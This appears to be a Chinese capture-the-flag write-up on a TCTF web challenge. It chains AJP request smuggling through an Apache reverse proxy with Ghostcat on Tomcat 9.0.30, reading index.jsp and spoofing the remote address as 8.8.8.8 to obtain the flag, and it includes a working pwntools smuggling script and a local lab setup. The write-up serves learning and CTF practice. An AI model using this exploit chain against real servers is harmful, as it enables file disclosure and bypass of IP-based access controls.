Where are you from?

一道TCTF的题目,考点ajp走私+幽灵猫

image-20221114215048755

环境搭建

由于本题没有docker,只能自己本地搭一个

Tomcat 9.0.30 服务器

该漏洞修复版本为9.0.31,这里选用9.0.30

在server.xml中使用默认配置开启ajp端口8009(不对外暴露,只有反代可以访问)

image-20221112160814278

Apache 2.4.43 反向代理

作反代,/cat路由代理到8009端口上

image-20221112160606916

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<body>
<h2>
<%
out.println("hhhhhhhhh, it's tomcat!!");
String remote_addr = request.getRemoteAddr();
if (remote_addr.equals("8.8.8.8"))
{
String flag = "flag{test}";//原题中这里是从环境变量中获取,无法读源码获得
out.println(flag);
} else
{
out.println(remote_addr);
}
%>
</h2>

</body>
</html>

攻击流程

读取源码

访问/cat路由可以看到apache版本,在ajp走私的攻击范围

image-20221114215722631

先构造要走私请求,参考github.com

先尝试读index.jsp,请求的url设置为/1,保证进入DefaultServlet中处理

image-20221114220303231

调整请求头的ua来把长度凑成0x202

image-20221114220933094

把生成的ajp数据包去掉开头的六个字节就是我们要发送的body

image-20221114220915592

将要发送的body写入文件中,再利用走私发给反代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import binascii
from pwn import *


def request_prepare():
hexdata = open("1.txt", "rb").read()
mydata = binascii.unhexlify(hexdata)
req = b'''POST /cat/ HTTP/1.1\r
Host: 192.168.142.129:8000\r
User-Agent: curl/7.84.0\r
Accept: */*\r
Content-Type: application/x-www-form-urlencoded\r
Transfer-Encoding: a, chunked\r
\r
202\r
'''
req += mydata
req += b'''\r
0\r
\r\n'''
print(len(mydata))
# print(req)
return req


def send_and_recive(req):
rec = b''
ip = '192.168.142.129'
port = 8000
p = remote(ip, int(port))
p.send(req)
rec += p.recv()
print(rec.decode())
p.close()
return rec.decode()


req = request_prepare()
print(req)
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()

最终的完整请求如下

image-20221114221316970

收到的响应如下,成功读到文件

image-20221114221555888

这里的回显会一直变化,我测试后发现的原因如下

当我们在正常的请求中走私一个forward_request时,tomcat会给出两个响应,我们收到的一定是第一次响应(也就是没有走私的正常响应),但我们想要的是tomcat对我们走私的ajp包产生的响应,也就是第二次响应,

image-20221114221830781

虽然一次只能接受一条响应,但我们需要的第二条响应并没有被丢弃,而是处于一种”阻塞“状态,假如apache反代处于单例模式下,那我们只要继续对这个反代路由发起一次任意的请求,就可以收到原来”阻塞“的第二条响应

如下图,我们即使不走私也可以收到刚刚的第二次响应

image-20221114222242696

如果是多进程模式,那我们多走私几次就可以了

伪造ip

从源码中可以看到,本题使用request.getRemoteAddr()来获取ip,并要求ip是8.8.8.8才能获得flag

经过本地测试可以发现request.getRemoteAddr()获取的ip是RADDR这个字段的值

image-20221114223003152

在幽灵猫脚本中对应修改一下即可,

image-20221114222915721

同时因为要用这个ip去执行index.jsp,所以需要修改一下幽灵猫的uri,走JspServlet这个路由,还得修改一下ua的长度保证0x202

image-20221114223439424

最终走私的ajp包如下

image-20221114223542193

最终读取到flag

image-20221114223639642